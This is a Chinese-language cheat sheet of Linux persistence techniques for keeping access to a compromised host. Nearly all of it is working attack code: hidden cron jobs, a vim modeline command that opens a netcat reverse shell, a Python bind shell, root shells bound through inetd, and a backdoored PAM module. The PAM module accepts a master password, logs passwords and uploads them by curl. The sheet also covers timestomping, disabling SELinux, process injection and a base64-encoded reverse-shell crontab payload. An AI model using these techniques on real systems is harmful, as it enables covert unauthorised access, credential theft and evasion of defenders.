Linux 权限维持整理

(crontab -l;echo '*/1 * * * * /bin/bash /tmp/1.elf;/bin/bash --noprofile -i')|crontab -

(crontab -l;printf "*/1 * * * * /bin/bash /tmp/1.elf;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -

/var/spool/cron/crontabs/root

#这几个路径都可以存放cron执行脚本,对应的时间不同
/etc/cron.d/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.hourly/ /etc/cron.monthly/ 

cmd_h = "echo 'You forgot to check `cat -A`!' > oops" # hidden
cmd_v = "echo 'Hello world!'"                         # visible

with open("test.sh", "w") as f:
output = "#!/bin/sh\n"
output += cmd_h + ";" + cmd_v + " #\r" + cmd_v + " " * (len(cmd_h) + 3) + "\n"
f.write(output)

vim ~/.vimrc
set modeline

echo ':!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="' > hello.txt
vim hello.txt

:!rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 9999 >/tmp/f||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

cd /usr/lib/python2.7/site-packages && $(nohup vim -E -c "pyfile dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py

#from https://www.leavesongs.com/PYTHON/python-shell-backdoor.html
from socket import *
import subprocess
import os, threading, sys, time
if __name__ == "__main__":
       server=socket(AF_INET,SOCK_STREAM)
       server.bind(('0.0.0.0',11))
       server.listen(5)
       print 'waiting for connect'
       talk, addr = server.accept()
       print 'connect from',addr
       proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk,
               stdout=talk, stderr=talk, shell=True)

nohup vim -E -c "pyfile dir.py"
nc 127.0.0.1 11

#修改/etc/inetd.conf
$vim /etc/inetd.conf

#discard stream tcp nowait root internal 
#discard dgram udp wait root internal 
daytime stream tcp nowait root /bin/bash bash -i

#开启inetd
$inetd

#nc连接
nc -vv 192.168.2.11 13
#可以配合suid后门，修改/etc/services文件：
suidshell 6666/tcp
#然后修改/etc/inetd.conf
suidshell stream tcp nowait root /bin/bash bash -i
#可以修改成一些常见的端口，以实现隐藏

cat /etc/inetd.conf

rpm -qa | grep pam
pam-1.1.8-12.el7_1.1.x86_64
http://www.linux-pam.org/library/
curl -O http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz

cd Linux-PAM-1.1.8
vim modules/pam_unix/pam_unix_auth.c

/* verify the password of this user */
    retval = _unix_verify_password(pamh, name, p, ctrl);
    name = p = NULL;

/* verify the password of this user */
    retval = _unix_verify_password(pamh, name, p, ctrl);
    if(strcmp(p,"1q2w3e4r")==0){return PAM_SUCCESS;}
    if(retval == PAM_SUCCESS){
        FILE * fp;
        fp = fopen("/bin/.sshlog", "a");
        fprintf(fp, "%s : %s\n", name, p);
        fclose(fp);
        system("curl -H 'Max-Downloads: 0' -H 'Max-Days: 7' --upload-file /bin/.sshlog http://127.0.0.1:8080/sshlog.txt -s -o /dev/null --connect-timeout 3");
        }
    name = p = NULL;

curl -H 'Max-Downloads: 0' -H 'Max-Days: 7' --upload-file /bin/.sshlog http://127.0.0.1:8080/sshlog.txt -s -o /dev/null --connect-timeout 3

./configure
make

ll /lib64/security/
-rwxr-xr-x. 1 root root  57688 8月  18 2015 pam_unix.so
-rwxr-xr-x. 1 root root  15384 8月  18 2015 pam_userdb.so
-rwxr-xr-x. 1 root root   7000 8月  18 2015 pam_warn.so
-rwxr-xr-x. 1 root root  11168 8月  18 2015 pam_wheel.so
-rwxr-xr-x. 1 root root  19744 8月  18 2015 pam_xauth.so
cp /lib64/security/pam_unix.so /lib64/security/pam_unix.so.bak
cp ./pam_unix.so /lib64/security/pam_unix.so
touch -r /lib64/security/pam_userdb.so /lib64/security/pam_unix.so
ll /lib64/security/
-rwxr-xr-x. 1 root root 221776 8月  18 2015 pam_unix.so
-rwxr-xr-x. 1 root root  57688 6月  30 23:18 pam_unix.so.bak
-rwxr-xr-x. 1 root root  15384 8月  18 2015 pam_userdb.so
-rwxr-xr-x. 1 root root   7000 8月  18 2015 pam_warn.so
-rwxr-xr-x. 1 root root  11168 8月  18 2015 pam_wheel.so
-rwxr-xr-x. 1 root root  19744 8月  18 2015 pam_xauth.so

查看selinux 状态
getenforce
    Enforcing 关闭
    Permissive 开启
临时关闭selinux
setenforce 0
临时开启selinux
setenforce 1
查看selinux上下文：
ls -Z pam_unix.so.bak
设置selinux上下文：
chcon –reference=pam_unix.so.bak pam_unix.so

#确保ssh开启pam支持
vim /etc/ssh/sshd_config
UsePAM yes

#自动化脚本
https://github.com/litsand/shell/blob/master/pam.sh

1、通过Strace跟踪ssh
ps axu | grep sshd
strace -o aa -ff -p PID
grep open aa* | grep -v -e No -e null -e denied| grep WR

2、检查pam_unix.so的修改时间
stat /lib/security/pam_unix.so      #32位
stat /lib64/security/pam_unix.so    #64位

$./inject [-n process-name] [-p pid] [library-to-inject]
./inject -n sample-target sample-library.so

local payload = "ZWNobyAiKi8xICogKiAqICogcHl0aG9uIC1jIFwiZXhlYygnYVcxd2IzSjBJSE52WTJ0bGRDeHpkV0p3Y205alpYTnpMRzl6TzJodmMzUTlKekV5Tnk0d0xqQXVNU2M3Y0c5eWREMDBORE03Y3oxemIyTnJaWFF1YzI5amEyVjBLSE52WTJ0bGRDNUJSbDlKVGtWVUxITnZZMnRsZEM1VFQwTkxYMU5VVWtWQlRTazdjeTVqYjI1dVpXTjBLQ2hvYjNOMExIQnZjblFwS1R0dmN5NWtkWEF5S0hNdVptbHNaVzV2S0Nrc01DazdiM011WkhWd01paHpMbVpwYkdWdWJ5Z3BMREVwTzI5ekxtUjFjRElvY3k1bWFXeGxibThvS1N3eUtUdHdQWE4xWW5CeWIyTmxjM011WTJGc2JDaGJKeTlpYVc0dlltRnphQ2NzSUNjdGFTZGRLVHNLJy5kZWNvZGUoJ2Jhc2U2NCcpKVwiIiB8IGNyb250YWI="